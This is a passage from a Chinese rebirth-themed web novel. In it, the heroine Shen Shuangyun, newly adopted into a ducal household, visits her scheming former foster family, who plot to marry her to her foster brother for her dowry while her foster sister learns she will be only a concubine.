“终归是咱们家的孩子,怎么忍心对她不好?镇国公府是她的血脉亲人,终归也是后认回去的,我心疼她,怕她吃亏。”
沈万里笑,赞扬地看向二儿子,说道:“男大当婚,女大当嫁。”
“让她回家来,咱们跟她聊聊。”
“这……”沈宁川一怔。
旋即,了解父亲的想法。
沈墨言、沈今安和沈婉音,却是茫然。
沈今安撇嘴,嚷嚷着,“爹,你想得太好了,沈霜云那丫头,如今舔着裴家的脚皮,恨不得沾在那里,哪能叫得回来?”
“我病了,她敢不回来?”
周氏拍板。
——
镇国公府,正院。
谢夫人正跟沈霜云商量着,要带她回娘家的事儿。
“下个月初七,是你外祖父的生日,我要带着照野他们,回府去庆祝,你跟我一块儿。”
谢夫人,谢双瑶是宣平候谢明远的嫡长女,母亲是宗室郡主,下面有两个弟弟,都在朝中任职,妹妹嫁进宗室,如今是郡王妃。
一门权贵。
昔日,她会嫁做继室,也是因为运气不好,两年内连死了三个未婚夫,镇国公武将出身,戎马一生,命格邦硬。
谢夫人娘家强横,一般人家攀附不上,她愿意带沈霜云回去,又称宣平候为‘你外祖父’,其中意味,十分明显。
“母亲,这合适吗?”
沈霜云垂眸。
顺利入籍,她是国公府的小姐了,可是宫里端午宴一回,自家百花宴一回,她的名声,也是毁誉参半。
宣平候府会愿意接待她吗?
“你是我的女儿,回自己家里给外祖父庆祝,有什么不合适的?”谢夫人温柔,轻轻摸了摸她的头发,“你是咱们国公府的小姐,日后,你不止要陪我交际,我还会教你旁的。”
“理家管账,家务调度,协调下人,人情事故,坐卧规矩,这些你都要学。”
“到是女红刺绣,会些表面功夫就行了,不必多耗心神。”
“一会儿,我让玻璃把世族谱给你拿过去,你先看着,有不懂的地方来问我。”
“也可以问我,我两年前,就开始背世族谱了。”
裴照野坐在椅子上,双手捧着果子露,嘴角一圈黄黄的,他歪着头道:“大姐姐,你不用怕啦,外祖父和外祖母人很好的。”
“表哥,表姐也很好说话,虽然大哥他们要跟着,但有我、有丹雪姐,还有盈盈,我们陪着你,不会让人欺负你的。”
沈霜云能说什么?
谢夫人和照野真心真意待她,接纳她,教导她,这些日子,谢夫人都把降云阁的账本给她,手把手教她如此理账,管事下人,恩威并施。
这些,沈霜云没有学过。
前世在沈府,挣扎求生而已,入了王府,先为侍妾,后做侧妃,那点后宅本事,都是艰难摸索,用鲜血为代价自学的。
裴寒声言她,对谢夫人和照野,巧言令色,刻意讨好,初回府时,或许真有几分那个心思,可如今。
她真心真意。
“我都听你们的。”
沈霜云唇边绽出个小小的笑容。
她开始期盼去宣平候府,又打听到宣平候夫人身体不好,认真虔诚地抄长寿经。
一笔一划,都是她的感激。
下笔如飞。
这就般抄了十来天,沈府突然传话过来,让她回府一趟,说周氏病了,让她去探望。
谢夫人接到帖子,心里不愿意,几次三番,沈家人给她的印象太差了,但,她还是把沈霜云唤来。
“沈府待你如何,世人已知,但天下无不是的父母,人言可畏。”
“总要做到才是。”
“沈夫人病了,我给你备下礼,你去坐坐就回,全个面子情儿就是了。”
沈霜云温声应下。
谢夫人像是怕她受欺负,给她配了两个人高马大的丫鬟,四个膀大腰圆的仆妇。
另备下百年老参一对,南洋血燕盏一匣,御医院方‘八珍茯苓膏’两瓮,西域藏红花十钱,霜降后采制雪蛤油一罐,武夷山岩蜜两樽。
这是珍药补品。
还有鎏银松纹药薰炉,青玉镂雕药枕,天青茶具一套,和田白玉‘灵猴献寿’摆件。
这些是怡情雅器和喜庆摆件。
样样珍贵,处处难得,尽显谢夫人的大气。
但……
第45章 沈婉音嫉妒的恨不得去抢
如此珍贵之物。
沈霜云觉得,沈家人不配用。
她大刀阔斧地调整了礼单。
百年人寿,换成灵芝摆件,风化了无法入药,南洋血燕盏换成普通燕窝,八珍茯苓膏成了包装华丽,金箔贴面的八珍点心,实则一文不值。
雪蛤油换成猪油的,武夷山岩蜜换普通蜂蜜。
药薰炉调成小的,安神药枕不动,内里药材换为陈旧,凡用上,必然昼夜难安。
沈霜云把调整好的礼单递上去。
谢夫人看了,捂着额头,失笑指了指沈霜云,“你这孩子,本以为你是个懂事的,没成想,处的熟了,到跟照野一样,混得吓人。”
“调皮。”
无奈宠溺的语气,听得沈霜云眼窝发热。
两辈子,第一回。
有人愿意这么纵容她。
“我就是心里不痛快,不想把好东西给他们。”
她大着胆子,声音小小的。
像胆怯的蜗牛从厚厚的壳子里,小心翼翼地探出触手,去撒一回,两辈子都没撒过的娇。
“好,他们对我家女孩儿不好,那就给他们破烂货,你心里舒服了,比什么都重要,反正是面子情儿,做了就成。”
谢夫人断言,又叮嘱她,“不过,我看沈家人都是没规矩的,他们要是责怪你,你就说礼品是我备的。”
说罢,再转向丫鬟仆妇,“护着你们姑娘,晓得吗?”
“是。”
下人应声。
沈霜云就带着六个下人和一堆破烂,坐上马车,前往沈府了。
——
正午,沈府。
华盖马车停至门前,丫鬟掀开车帘,沈霜云提裙下车。
仆妇上前叩门。
跟上次回府,奴仆战战兢兢,大开中门迎接不同,这回,沈府家丁只开了侧门,态度也极敷衍,“是大姑娘回来了,老爷和夫人都陪着姑娘在明月阁呢。”
“你自个儿知道路,进去吧。”
下人说罢,也没引路,竟然转身走了。
“这是什么人啊?”丫鬟怒极,叹为观止。
沈霜云拧眉沉吟。
刚刚那下人,看着张狂,实则,肩膀一直耷拉着,视线不敢看她,膝盖微微弯膝。
他是怕她的。
却故意表现傲慢来……
是沈家人吩咐的?给她下马威?
沈霜云轻笑,说了句,“无妨,我认得路。”
旋即,带着丫鬟仆妇慢悠悠来到明珠阁,进得院内,就见沈婉音站在窗前,捻着株清雅端丽的兰花,沈宁川挥笔,为她作画。
沈今安笑嘻嘻陪着。
沈万里和周氏坐在一旁观看,满脸欣慰。
周氏不见病容。
前世,这个时候,沈宁川应该已经去书院苦读,怎么今生还没走?
有事耽误了?
沈霜云攒眉,丫鬟轻叩院门。
周氏第一个看见她,上下打量,阴阳怪气地道:“哟,这不是我们国公府的千金大小姐回来了吗?”
“真真是稀客啊,贵足踏贱的,也太委屈你了。”
“母亲不是病了吗?看着气色到好。”沈霜云淡声。
“就是个借口罢了,这都不懂?蠢得厉害。”周氏嗤声,没好气道:“你啊,就会咒我。”
“哼,也对,你是入了裴家祖谱的千金贵女,我一个待你刻薄的恶毒养母,你自然不需要尊敬了。”
“在陛下面前,你都说我的坏话,私下想我时,定然不会有好的。”
沈霜云垂眸。
不语。
也算是默认了。
周氏却深深觉得,自己的话,戳中沈霜云的痛处。
那孩子,从小对他们孺慕,最受不了这样的话。
“好了,好了,今日孩子好不容易回来,说那些干什么?”
沈万里出声阻止,他眉开眼笑,笑着招手,“来,霜云,好孩子,到爹身边来,哎哟,好长时间没回来了。”
“爹真想你啊。”
他上下打量着沈霜云,眼里神光华彩。
以往,跟丰腴艳丽的婉音相比,霜云是不起眼儿,她个子小,人削瘦,站在花孔雀般的婉音面前,像个秃尾巴的麻雀。
她的衣服不合身,宽宽大大,永远肥上一大截,没有婉音的娇俏调皮,显得窝窝囊囊,肤色也不好,皮肤粗糙,手粗脚大,带出去,半点面子都没有。
可如今……
她身量像是长高了,脸颊有了些肉,灰扑扑的脸色也染上红润,满头青丝,看着就是保养过,变得乌黑油亮。
穿着银百蝶穿花外袍,束着五彩丝攒花结长穗宫簮绦,下裙是石青起花倭缎,厚底大红鞋,胸前戴着樱络金环。
衬得面如傅粉,唇若施脂,转盼多情。
瞧着竟比婉音更有气质。
霜云终归清丽些。
沈墨言也拧了拧眉,担忧的看了眼婉音,心里埋怨沈霜云不懂事。
回家来,打扮的那么漂亮干什么?是特意来跟婉音显摆的,真是,一点做姐姐的慈心都没有!
太虚荣了。
沈婉音直勾勾盯着沈霜云脖子的樱络,恨不得扑上前,直接撕扯下来,戴到自己身上。
那是御用的供品啊!
晋王妃就有一个,是太后亲赐,拿给她看过,沈霜云这个,瞧着比晋王妃的还要大上一圈儿。
她怎么敢戴的?
明明这些都该是她的,前世,她才是回镇国公府,做千金小姐的那个,百花宴,百花宴,沈霜云为什么安全度过了?
老天爷真是不长眼睛。
沈婉音委屈得想哭,然而,视线扫过大哥等人,她又勉强安慰自己,无妨,无妨的,爹爹马上要进内务府做官。
她会有更好的樱络。
宣平候大寿时,二哥会被名满天下的学士——方喻知收为关门弟子,倾心教导,一朝科举,二哥高中状元,入主翰林院。
大哥被两朝名将许老将军欣赏,带到身边,尽心教导,最终收揽整个许家军。
三哥更是大楚首富。
父亲、母亲、哥哥们都是她的。
她会是皇后,是总管内务府大臣的爱女,是宰相的好妹妹,是冠军候的心中宝,是大楚首富的掌上明珠。
沈霜云,一时得意而已。
她根本不知道,她丢掉了多么珍贵的支持。
哈哈,被自己亲手抢走的。
陪着镇国公府砍头吧。
沈婉音憋回眼泪,狠狠想着。
沈万里打了圆场,局面缓和,沈霜云就吩咐丫鬟,把带来的礼物入库。
周氏眼热,上来就抢了过去,“我瞧瞧……”
第46章 哦,你是侍妾啊,不是侧妃吗?
没想到有这么上不了台面,直接上**礼物的主母,丫鬟一怔,神情有些不安。
自家姑娘……
带的都是破烂啊。
然而,周氏认不出。
前世,沈家发展,靠的是沈霜云的裙带关系,显赫了也是暴发户,今生,沈家曾未起家,虽有皇商头衔,负责的却是官办义冢的管理。
专职收殓无名尸、**犯遗骨,提供薄棺香烛等物。
整天跟**打交道,晦气又不体面,朝廷拔款也少,没多少油水能捞,沈家在皇商位置干了两代人。
也没攒下多少家底。
沈霜云带来的国公府‘破烂’,周氏看着却满目华贵,真是罕见的好东西,她把药材翻出来,一股脑儿地全塞进沈婉音怀里,一叠连声地道:“咱们婉音眼看要出嫁了,得好好补补。”
“这些,都给婉音炖做药膳,把身体补壮实了,进门就给小王爷生个大胖小子。”
这是周氏的经验之谈。
沈**的侍妾和通房,在她面前,屁都不敢放一个,就是因为她生了三个大儿子。
她是沈府功臣。
“娘。”沈婉音撅嘴,嫌弃甩手。
前世沈府富贵后,她是见过好东西的,珍馐美味,奇珍异宝,她想要的,三个哥哥都会替她搜罗来。
沈霜云带回来的这些算什么?
娘眼皮子也太浅了。
她心里不满,甩胳膊时,打着了周氏的手,周氏一个没拿稳,灵芝摆件摔在地上。
‘呯’的一声,摔了个粉碎。
“哎啊!”
周氏惊呼,满脸心疼,围着碎灵芝转圈,一副想蹲下身捡的模样。
“好响啊,吓死我了。”沈婉音花容失色,做西子捧心状。
沈霜云掩口而笑。
笑的轻蔑。
“大姐姐,你这是笑话我吗?”沈婉音无意瞧见,惊愕出声。
沈今安抬眼,收回‘可惜’眼神,没好气的教训,“沈霜云,你一个堂堂国公府,入了谱的小姐,回咱们家就拿这点破烂?”
“我还没说你胳膊肘往外拐,不会往家里划拉东西,你就敢笑话婉音。”
“我告诉你,婉音那么娇憨可爱,她就摔了十个,百个摆件,砸了天下奇珍,我都要说她摔得好,摔得响,摔得漂亮。”
“笑话了她,就显出你来了?妄想。”
“你一辈子都别想跟婉音比。”
他扬扬得意,觉得戳中了沈霜云的痛处。
她是最受不了这种话的,每每听了,都要更顺从,更卑微,来乞求他们的怜惜。
“哦!”
沈霜云淡声,一脸平静。
沈今安的在意?
很重要吗?
整个人沈府对她来说,也只是一块恶心的烂泥而已,沈婉音比她更讨沈家人喜欢又如何?
蛇鼠一窝,畜生相护。
自然是更亲密的。
她一个清清白白的人,跟着争什么?
“沈夫人,既然没有生病,那这些礼,的确显得不合时宜了,万儿,你让婆婆们把礼收回去吧。”
“是,大姑娘。”
粗壮丫鬟万儿早看不惯了,领命上前,用肩膀撞开周氏。
四个膀大圆腰的仆妇,一言不发,把礼盒捧回去。
周氏目瞪口呆。
沈今安也懵了,那个薰炉和镂雕药枕,他都看中了,正想磨着母亲要过来呢,怎么能拿走?
那是他的。
可又拉不下面子开口,脸色不由胀得像猪肝一样。
仆妇离开明珠阁,把礼盒放回镇国公府的马车里。
沈家人沉默不已。
半晌,沈婉音不甘,想要开口讽刺,突地,外间,有小厮快步跑进来,上气不接下气的道:“老爷,太太,晋王府派人过来,说要商量世子爷和姑娘的婚事……”
“什么?”周氏一喜,连声道:“苍天啊,这可是大喜事,老爷,快快,我们赶紧过去,可不能耽误了婉音。”
“她的事,比霜云这丫头重要千倍百倍。”
“对对对,快,我们快去迎。”沈**连声,大步上前。
周氏等人见状,也忽拉拉跟出去。
转眼间,明珠阁人去院空。
就剩下沈霜云和一众丫鬟仆妇们。
“大姑娘,这
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……”丫鬟都懵了,双目茫然,“沈老爷他们就这么走了,那咱们怎么办?”
沈霜云笑笑,没有回答,只是捡了个凳子坐下。
她是回来‘探病’了,可周氏无病,按理是能离开,但……
楚清晏和沈婉音的婚事,她……
真的有点好奇了。
丫鬟们见状,也都各自落座。
——
晋王府是来下聘礼的。
但,晋王妃没来,世子妃没来,甚至连个侧妃都没来,来的只是府里的女管事,公事公办的态度。
她递上纳彩贴。
纳妾聘书一封,纹银一百两,云锦两匹,苏绣软烟罗四匹,赤金头面一套,翡翠玉镯一双,珍珠耳坠一双,十亩田契一份。
另外,便是些干果点心,喜饼喜面,不足一提。
周氏接过纳彩贴,脸上狂喜的表情,转为苍白,她慌乱道:“怎么是妾呢?明明是侧妃啊?”
“我的女儿,貌美无双,才华出众,怎么能当妾?”
沈**也懵了。
三兄弟哗然,不敢置信。
“周夫人,令爱没跟您说吗?”李嬷嬷板着脸,眉目肃然,语气中隐有严厉,“婉音姑娘?”
“爹,娘。”沈婉音泫然欲泣,可怜兮兮地道:“我们爷跟我提过这事了,本来,我应该是第一侧妃的,可是,可是……”
“端午那日,百花宴那日,我替咱们家说话,陛下对我印象就不好了,晋王妃也因为姐姐,觉得我家教不好。”
“呜呜呜,我们爷也是没办法,只能让我做个侍妾,但是爷说了,不会真的轻视我,去了就是庶妃的待遇,等我生出孩子来,就是侧妃了。”
“这,这……”
沈家人听着,心疼不已。
沈今安更是破口大骂,“沈霜云,那个害人精,沾了我们婉音那么大的便宜,却还把她害成这样!”
“要不然咱们不喜欢她,实是她品性不好,天生霉运。”
沈**听着,眼角一跳。
沈今安不依不饶,“婉音,你别哭,那个死丫头,等她嫁进门来,我饶不了她!”
第47章 妹妹的相信,是哥哥这辈子最恐惧的东西
晋王府出尔反尔,沈婉音从侧妃主子,变成侍妾奴才……
沈家!
一个屁都不敢放。
他们甚至连责备管事嬷嬷都不敢,沈**陪着笑脸,接下纳彩贴,又送上重重的红包,亲自将人送出府门。
周氏抹着眼泪,看着那单子,一个劲儿地喃喃,“这也太少了,这也太少了。”
一份纳彩贴,里面的聘礼加起来,也就一千两。
镇国公府给足两万啊。
沈霜云今日那身穿戴,就值上两千,那些礼物,估一估都有四、五百两。
可婉音的聘礼,才一千两。
呜呜呜!
周氏哭泣。
沈家三兄弟,也是咬牙切齿,沈宁川重重锤拳,恨声道:“怪我们,婉音,都怪二哥,是我们没本事,晋王府才会这样对你!”
“我们是要镇国公府的少爷,楚清晏他怎么敢……”
沈墨言脸皮抽搐。
沈今安面容扭曲。
沈婉音见状,眼珠一转,赶紧抹掉眼泪,急声道:“二哥,你怎么能这么说自己呢?我不允许。”
“你们是天下最好的哥哥,任何人都不许瞧低你们,就连你自己都不行!”
“大哥,你勇武过人,二哥,你天纵奇才,三哥,你举世难寻,你们都是最优秀,最出色的,别说裴国公府那些人了,就是龙子凤孙,在我眼里,都不如你们分毫。”
“哥哥们,你们一定会有出息的。”
二哥的飞黄腾达,就在眼前了。
宣平候府的机遇,就是二哥权倾朝野的起点,他拜得大儒,入了国子监,转年科举,高中状元,进翰林院,得庆元帝重用。
从正六品偏修开始,短短五年,做到三品大员。
沈婉音死的时候,二哥都要入阁了。
这是何等天赋?
“你们会名流青史!”
前世经历,让沈婉音说得无比著定。
沈家三兄弟闻言,心中动容不已。
他们疼婉音入骨了,不是没有理由的,妹妹的相信,是哥哥这辈子最恐惧的东西,他们想要的,不是扬名立万,而是妹妹的一句赞扬和认同。
他们是男人,为了家族,为了妹妹,什么都苦都要咽下。
“婉音,你放心,二哥不会让你失望的。”
“三哥也是。”
“婉音,大哥永远是你最坚强的后盾。”
“好,好,你们兄妹这么相亲相爱,娘就是**都放心。”周氏感动地抹泪。
沈婉音见状,得意地昂下巴。
哼。
这段日子,她都想明白了,沈霜云回镇国公府后,之所以跟前世的她,遭遇不同,定然是她重生引起的变故。
因果循环嘛。
沈霜云借她重生的光,得着天大的好处,还要跑过来炫耀,简直太过分了,尤其是爹爹,他还想,还想……
沈婉音气愤,那边,沈**送走嬷嬷,回到正院,叹气道:“行了,人送走了,下回我亲自去晋王府,商量婉音的婚期,订下日子就好了。”
“夫人,嫁妆的事,你仔细准备着,名分上已经委屈了婉音,钱财便要给足。”
“放心,老爷,婉音的嫁妆,我是从小备下的。”周氏忙应声。
沈**满意点心,“那走吧,去找霜云,那个事,也该告诉她一声了。”
沈墨言和沈宁川闻言,神色骤然复杂。
沈今安撅嘴,一脸不满意地嘟囔,“跟她说什么?她还敢不同意啊!”
沈婉音怏怏不平,不甘道:“爹,你,你真的决定了吗?”
“大姐姐怎么配得上三哥?”
沈**闻言,笑着看她,语重心长地道:“婉音,你啊,还是年纪小,不懂得人心,你姐姐成了国公府的千金,她不如你孝顺懂事,性格又古怪,时间长了,总会离心的,尤其是女子,天生的草籽命,嫁到谁家,就在谁家生根。”
“我的好婉儿,你是女子里的魁首,那些芸芸凡妇,不能跟你比!”
“尤其是你姐姐,就更不成了,倒不如,把她要回府里,给你三哥算了。”
国公府的千金小姐,谢夫人哪怕为了颜面,总会给厚厚的嫁妆。
帮着照顾就有一万两,嫁进门来,不得
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个三万、五万的。
刚好,他想谋内务府的差事,缺一大笔银子孝敬上官呢。
沈**盘算得精。
沈婉音嘟嘴,万般不情愿,“可是,大姐姐那么坏,太委屈三哥了。”
“无妨,男子三妻四妾乃是常理,今安不爱,日后多纳些妾侍通房伺候就好。”沈**摆手。
家里三个儿子,墨言是长子,他的妻子为宗妇,需要慎重挑选,宁川脑子灵,会读书,得要个高门大户的儿媳,助他科举,只有今安,文不成武不就。
正好娶霜云。
算是为家族做贡献了。
镇国公府的攀枝儿,他们沈府得长长久久地攀着,霜云嫁回来,就甩不脱了。
沈**扶须含笑,自己当真聪明至极。
“没事儿,婉音,不用替你担心你三哥,男人娶妻,跟女人嫁不一样,娘早就准备了四个绝美的通房,都送你三哥院里了。”
周氏安慰。
她倒没觉得沈霜云配不上三儿子,她还挺期待那孩子嫁回来的,这些日子,丫鬟们服侍得她哪哪都不自在。
梳头洗漱,锤背捏脚。
还是霜云更好。
绣娘做的衣服抹额,她穿用的也难受,不如霜云做的好。
可见她们是天生的缘分,不是母女,也是婆媳,霜云生来就该伺候她,否则,她哪会缺了就不适呢?
沈婉音仍旧不情不愿,“但是,姐姐脾气那么不好,镇国公府家大业大,她嫁回来之后,要是欺负三哥,欺负你们怎么办?”
“我也出嫁了,都没法保护你们。”
她心知肚皮,沈霜云嫁回来,家里会得到丰厚的嫁妆和镇国公府的提携,但想想未来,父亲和哥哥的成就,她就不想让沈霜云占便宜。
幸好,今生她提前布局,能嫁进晋王府,最大的好处,她都得了。
要不然,非得抠死不可。
“婉音,你放心,沈霜云那个蠢笨东西,也想要我的强?”沈今安冷笑,握起拳头,目露凶光,“别说欺负你,欺负爹娘,她敢跟我瞪一下眼睛,我腿都给她打折了……”
第48章 霜云,你嫁给你三哥吧,咱们又是一家了
“婉音,别怕,有我呢。”
“正所谓:在家从父,出嫁从夫,咱们家即有霜云的父,也是她的夫,女人都是那样,婚前有在多的小心思,嫁了人之后,就全心全意向着丈夫了。”
沈墨言和沈宁川纷纷劝她。
沈今安更是霸气的道:“没事,婉音,你看我怎么治她,我跟你保证,不出三天,我让她跪下给你洗脚。”
“哈哈,三哥,你好坏啊,我怎么能接受?她到底是我姐姐,正跪就算了,替我洗脚到是成的。”沈婉音被哄高兴了,笑得前仰后合。
心里终于舒服。
也暗暗发誓,就算出嫁了,也要时刻关注家里的情况。
绝对不能让沈霜云把父兄们哄回去。
沈家的光,只有她能沾,沈霜云,哼,注定要做她的脚下泥。
——
明珠阁。
沈霜云正在跟妙善说话。
妙善是沈府家生子,在沈婉音院里伺候,以往,沈霜云在府里‘半主半奴’,住奴婢通辅的时候,跟她睡的脸对脸,相处了十几年。
她们关系很好。
沈霜云刚到镇国公府,拿到第一个月的月银时,就托人给妙善送了大半,后来,得到御赐银两住宅,更是直接求赵盈盈,婉转找赵夫人的关系,悄无声息赎买了妙善一家。
她没敢声张。
沈家人的脾气,知道她在意什么,定然要用来拿捏的。
“你爹你娘,已经在我那宅子里住下了,你也直赶紧走吧,别留在这儿了。”沈霜云握住妙善的手。
楚清晏是个疯子,前世,就算生下孩子,成为侧妃,仿佛风光,她也没敢把妙善要到身边,只是替她全家赎身,送到南边,安稳度日。
她最后得到的消息,是妙善招了个入赘的香料商人做丈夫。
“姑娘,我已经赎身了,本来昨天就要走,只是听说你要回来,就多留了一天。”妙善小声,做贼般左右张望,“我有话跟你说。”
”很重要的事!“
沈霜云做聆听状。
妙善就凑过来,“我一直打听着,老爷这几天,总在书房嘟囔,说什么‘肥水不流外人田’,还提你的名字,又跟三少爷嘀嘀咕咕的,我感觉他们要算计你。”
“另外,老爷最近一直要谋内务府奉宸苑的差事。”
奉宸苑,掌管皇家园林及山泽事务。
油水很多。
“老爷需要银子,我不晓得,他要从哪得来,但我爹说,老爷很有信心的样子,仿佛随时能掏出一笔来。”
沈霜云闻言讽笑。
奉宸苑的差事?
前世,这个时候,沈婉音被镇国公府赶回来,沈家着急替她撑腰,急巴巴到晋王府来找她。
那会儿,她刚从楚清晏的**里挣扎出来,博了他几分宠爱。
沈**说:“女子出嫁,靠的是父兄,娘家得力,你也有脸面。”
“况且,霜云,我的乖女儿,你忍心看老父亲郁郁不得志吗?”
“镇国公府冷血无情,婉音受了天大的委屈,你娘都窝囊病了,你三个哥哥也不顾劳累,奋发图强,憋着气想替你们长脸。”
“霜云,你是咱们家的长女,你得出力啊。”
”爹要靠你呢。“
那时的沈霜云被说的责任感充盈!
她是做姐姐的!
她是父母的依靠!
爹爹终于承认她了!
于是,绞尽脑汁,不顾危险,她自楚清晏那里下手,未花一文钱,替沈**讨来了官职。
也是因为这事,她开始想方设法,从楚清晏手里掏银子,买辅子,买良田,置办私产。
今生,没她喂血供给,她到要看看,沈**怎么拿到奉宸苑的官位。
不成的话,割了去当太监吧。
或许行的。
她冷笑,安慰妙善几句,叮嘱她快快脱身,妙善应下,又见时间差不多,就悄无声息的退下。
沈霜云看了眼时辰,刚想起身,沈家**摇大摆地回来了。
沈**喜笑颜开,招呼沈霜云,“天色不早了,你娘安排下午膳,走,陪爹喝一蛊,喝仰角话吩咐你。”
沈霜云抬眉,从善如流。
一家人来到正堂,坐定后,没等上菜呢。
沈**就用一派理所当然之态道:“霜云,你是我抱回来养的,从小小一个婴孩,到如今花季年华的姑娘。”
“我和你娘,废尽心血培养你,如今,你也到
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年纪,你妹妹订了楚世子,婚事近在眼前,我和你娘想着,你也该准备起来了。”
“女子如花,转瞬就败,你的好年华,就短短几载,不能耽误了。”
沈霜云眉心微低,眸光婉转。
桌上,沈婉音嘟唇儿,看着很不情愿,隐隐却又带些幸灾乐祸之意。
沈墨言和沈宁川把脑袋凑到她耳边,像是小声安慰。
沈今安的目光,恶狠狠的盯着自己,仿佛嫌弃,却又带着些,让她毛骨悚然的意味。
细思,竟似楚清晏。
反到周氏,嘴角挂着货真价实的喜悦,眼睛都是亮了、
回想妙善说的‘肥水不流外人田’,沈霜云恍惚料中,瞬间,胃里直接翻涌起来。
几欲作呕。
沈氏全族。
恶心至极!
“霜云,你爹说的对,你都十五了,是要准备着相看人家。”周氏喜盈盈的道:“况且,你是姐姐,你嫁人了,婉音才好操办。”
“这是规矩?”
“我是国公府的女儿,婚姻大事,自然由长辈做主。“沈霜云垂下眼帘,指甲掐住掌心,“至于妹妹……”
“我虽没改姓,却已入了裴家的祖谱,两家之女,哪有什么规矩?”
“爹娘也是你的长辈啊,当然能做你的主,你刚回国公府,那边又是继室夫人,你自己说情根深重,不愿意就**,谢氏还能拦你不成?”
沈墨言一副名正言顺的模样,还给她出主意,“或许,婚前失身,珠胎暗结也是成的。”
“生米煮成熟饭,最是方便。”
一句话落。
刹那间,沈霜云冷意翩飞。
陪着她的丫鬟和仆妇,也都露出不可思议的神情。
到是沈家人,浑然不觉得如何,沈今安的眼睛,甚至不安分的打量着沈霜云的身段相貌。
别说!
几个月过去,昔日不起眼的小矮子,竟添了几分清丽风华,仍然削瘦,脸儿却美了,娶进门放在后院,也挺好的。
身子瘦,喂肥点呗。
第一次,沈今安又看女人,而不是看拖油瓶的眼神,打量沈霜云,从她纤细的脖颈,到微微起伏的胸口,再到盈盈一握的腰枝……
第49章 你们真让人恶心
沈今安眯着眼睛,目光黏腻地在沈霜云身上游走,视线一寸寸适于舔过,像是打量一件待价而沽的商品。
就连喉结,都不自觉地滚动了一下。
沈霜云感到一阵恶寒,像是虫子顺着皮肤爬过,胃里翻涌着厌恶,她冷笑一声,轻飘飘地道:“大哥这话说得,真是没道理,我都不敢听。”
“镇国公府,显赫一朝,做高门勋贵的女儿,规矩森严,我院里有两个教养嬷嬷,俱是母亲特意从贵妃娘娘那里请来,教我礼仪的。”
“商户人不讲究的,裴府却不成。”
“私相授受,珠胎暗结……女儿是裴府血脉,顶多打发到庄子去,敢跟我‘生米熟饭’的那个,怕是要生阉了,活剐三千刀。”
她声音冷得像冰,带着毫不掩饰的恶意。
沈今安打了个寒凛。
沈墨言也噎住了。
沈婉音掩唇,突然想到前世发生一桩事,归德将军赵远征的嫡长女,一个名叫赵丹雪的女子,就跟她的奶哥哥,名为骆明哲的风尘游侠相爱,两人私定终身,赵彤雪甚至用肚兜寄情。
骆明哲骄骄男儿,情深义重,然而,赵丹雪顾及门第之别,仅为戏耍轻了,骆侠士想要个名分,跟赵丹雪求亲时。
那女人竟反咬一口,污蔑骆侠士偷盗,幸而,大众的眼睛是雪亮了,揭穿她的阴谋,赵丹雪羞愤自尽,可是,官官相护,枉法取私,归德将军赵远征,为了家族名声,诬陷骆侠士。
终归,害了卿卿性命。
高门大户的规矩,可见一斑。
沈霜云的婚事,好像真的不是爹娘能决定的。
她迟疑了。
沈霜云一直笑着,冰凉凉的,“说来,二位准备让我‘私通’的,是什么人啊?”
“大哥说得那么赌定,可见是有了目标……”
“是你三哥。”沈宁川低声,神色暧昩,语气诱惑,“霜云,爹和娘都是好意,你亲生姨娘害死了白夫人,虽然陛下替你说情,你入了镇国公府的祖谱,但……”
“杀母之仇,谁能忍下来?那几个姓裴的,定然针对你。”
“继母没有好的,对你虚情假意罢了,给你找亲事,必然是敷衍了事,甚至,姓裴的敌视你,故意给你找个金玉其外,败絮其中的,你一辈子都毁了。”
“你是女孩儿,你不懂,男人的龌龊多着呢,倒不如嫁回家来,爹和娘养你长大,我们多疼你。”
“都说女子嫁人是二次投胎,你嫁回来,就是投了富贵窝,金银地。”
“亲生女儿的待遇啊。”
沈宁川显然是想诱惑沈霜云。
沈万里等人也听出来了,连连点头。
沈霜云内心冷笑,面上眉头轻蹙,“二哥,你这是什么意思?”
“哈哈哈,就算不私相授受,你直接跟谢氏说,想嫁回咱们家,也是成的了,女人的拿手好戏,一哭二闹三上吊,很容易啊。”
“她一个继母,要顾全名声的。”沈宁川蛊惑。
他想得好处,又不愿意沈府得罪镇国公府,就怂恿沈霜云去闹。
“二哥这话说的,我一个女孩儿家,难道就不顾及名声了吗?”沈霜云垂眸。
心里冷意更深。
“够了,沈霜云,你三番四次的推辞,是什么意思?看不上我啊!”沈今安恼了,猛地拍桌子,大声骂道:“我堂堂沈府三公子,文武双全,才学非凡,愿意娶你,是给你脸了。”
“你别不识抬举。”
“可是,我一直把你当哥哥看待啊,咱们若真有什么,那多别扭!”沈霜云轻声,“就像婉音,你们能想象,她嫁回家里?”
“那不是成了乱伦?”沈墨言脱口而出。
沈霜云冷笑不已。
哦,现在知道那是乱伦了,刚刚怎么又是珠胎暗结,又是生米熟饭的。
“霜云,婉音已经许给晋王世子,马上要进王府了,你别胡说,坏她前程。”沈万里沉容。
沈霜云攒眉,“哦,这么快吗?纳侧妃,应该上报宗人府吧,怎么没动静?”
“还不是因为你,婉音的侧妃,变成了侍妾,你个害人精。”沈今安没好气地说。
哦,那真是喜事了。
沈霜云蹙眉,眼里溢出笑意。
沈婉音被她打量着,心里泛出阵阵难堪,几乎是狼狈的别开眼,不敢看沈霜云的眼睛。
她,她也跟前世的沈霜云一样,粉包入府,做了侍妾,虽然,虽然世子爷爱她,会疼她,给她庶妃待遇,但是,但是……
跟沈霜云光彩耀目的身份相比,她真的上不了台面。
沈婉音感觉到了窝囊。
沈霜云不急不缓,平平淡淡地道:“哦,那真是有些委屈妹妹了,可怜见得,竟要当个卑微的侍妾,却不如嫁回家里,有爹娘疼爱了。”
“而且,爹爹……”
她抬手,阻止想说话的沈万里,直接道:“你想我嫁回来,却是难办的,倒不是我嫌弃三哥……”
真相就是嫌弃。
“只是,我如今入了镇国公府的谱,世家贵女是要选秀的,我的名字,已经记在待选秀女中,哪能私自婚配?需得经过选秀,或得中,陛下赐婚,或落选,才好许配。”
“镇国公府威名赫赫,又有贵妃娘娘,母亲私下透露,约莫会给我从宗室里挑个好夫婿,王妃,郡王妃,国公夫人……”
“总是当地。”
“这~”沈万里愕然,心里衡量。
把霜云接回来,嫁给三子,他图的就是一笔好嫁妆,替他打点上官,谋内务府的差事,但霜云要能选秀,嫁个王爷国公!
也很好啊。
他能得到的好处更多。
说什么怕霜云忘本,都是借口罢了,他亲手调教出的女儿,根本离不开他们。
哈哈哈!
他就是霜云的天,沈府就是霜云的地,没了天地,人怎么能活?
“既然是皇家选秀,那你的婚事,暂时按下吧,你要是有幸嫁个王公贵族,我也能得个贵婿,若不成,在嫁你三哥也是好的。”
